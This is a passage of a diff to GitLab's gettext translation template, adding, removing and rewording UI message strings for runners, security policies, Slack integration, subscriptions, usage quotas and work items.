msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
